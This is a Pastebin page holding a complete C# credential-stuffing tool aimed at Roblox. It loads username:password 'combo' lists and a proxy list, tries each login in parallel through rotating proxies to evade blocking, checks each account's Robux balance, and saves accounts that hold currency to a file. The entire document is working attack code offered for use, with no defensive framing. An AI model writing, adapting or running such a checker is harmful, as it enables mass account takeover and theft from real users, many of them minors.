Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Net;
- using System.IO;
- namespace Robuster
- {
- class Program
- {
- static void Main(string[] args)
- {
- const string USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36";
- Console.WriteLine("Enter combo path: ");
- string comboPath = Console.ReadLine();
- Console.WriteLine("Enter proxy path: ");
- string proxyPath = Console.ReadLine();
- Console.WriteLine("Enter max threads: ");
- int maxThreads = Int32.Parse(Console.ReadLine());
- string[] alts = File.ReadAllLines(comboPath);
- List<string> proxies = File.ReadAllLines(proxyPath).ToList();
- object locker = new object();
- Parallel.ForEach(
- alts,
- new ParallelOptions { MaxDegreeOfParallelism = maxThreads },
- a =>
- {
- try
- {
- CookieContainer cc = new CookieContainer();
- string[] alt = a.Split(':');
- string proxy = proxies[new Random().Next(proxies.Count)];
- string post = $"&username={alt[0]}&password={alt[1]}";
- bool isWorkingProxy = false;
- while (!isWorkingProxy)
- {
- try
- {
- WebProxy proxyToUse = new WebProxy(proxy);
- HttpWebRequest req = (HttpWebRequest)WebRequest.Create($"https://api.roblox.com/v2/login");
- req.UserAgent = USER_AGENT;
- req.Timeout = 5000;
- req.Method = "POST";
- req.CookieContainer = cc;
- req.Proxy = proxyToUse;
- req.ContentType = "application/x-www-form-urlencoded";
- byte[] data = Encoding.ASCII.GetBytes(post);
- req.GetRequestStream().Write(data, 0, data.Length);
- using (req.GetResponse()) { }
- req = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/currency/balance");
- req.UserAgent = USER_AGENT;
- req.Timeout = 5000;
- req.Method = "GET";
- req.CookieContainer = cc;
- req.Proxy = proxyToUse;
- req.ContentType = "application/x-www-form-urlencoded";
- using (HttpWebResponse rep = (HttpWebResponse)req.GetResponse())
- using (var reader = new StreamReader(rep.GetResponseStream()))
- {
- string response = reader.ReadToEnd();
- response = response.Split(':')[1].Replace("}", "");
- Console.WriteLine($"Account {a} working - Robux: {response}");
- int robux = 0;
- if(Int32.TryParse(response, out robux) && robux > 0)
- {
- lock(locker)
- {
- using (StreamWriter sw = new StreamWriter("accounts.txt", true))
- {
- sw.WriteLine($"{a}:{response}");
- }
- }
- }
- }
- isWorkingProxy = true;
- }
- catch (WebException ex)
- {
- if (ex.Response != null)
- {
- using (var reader = new StreamReader(ex.Response.GetResponseStream()))
- {
- if(reader.ReadToEnd().Contains("Incorrect username or password. Please try again."))
- {
- Console.WriteLine($"Account NOT working: {a}");
- isWorkingProxy = true;
- }
- else
- {
- proxy = proxies[new Random().Next(proxies.Count)];
- }
- }
- }
- else
- {
- proxy = proxies[new Random().Next(proxies.Count)];
- }
- }
- catch (Exception ex) { }
- }
- }
- catch(Exception ex) { }
- });
- Console.WriteLine("\n\nFinished");
- Console.ReadLine();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement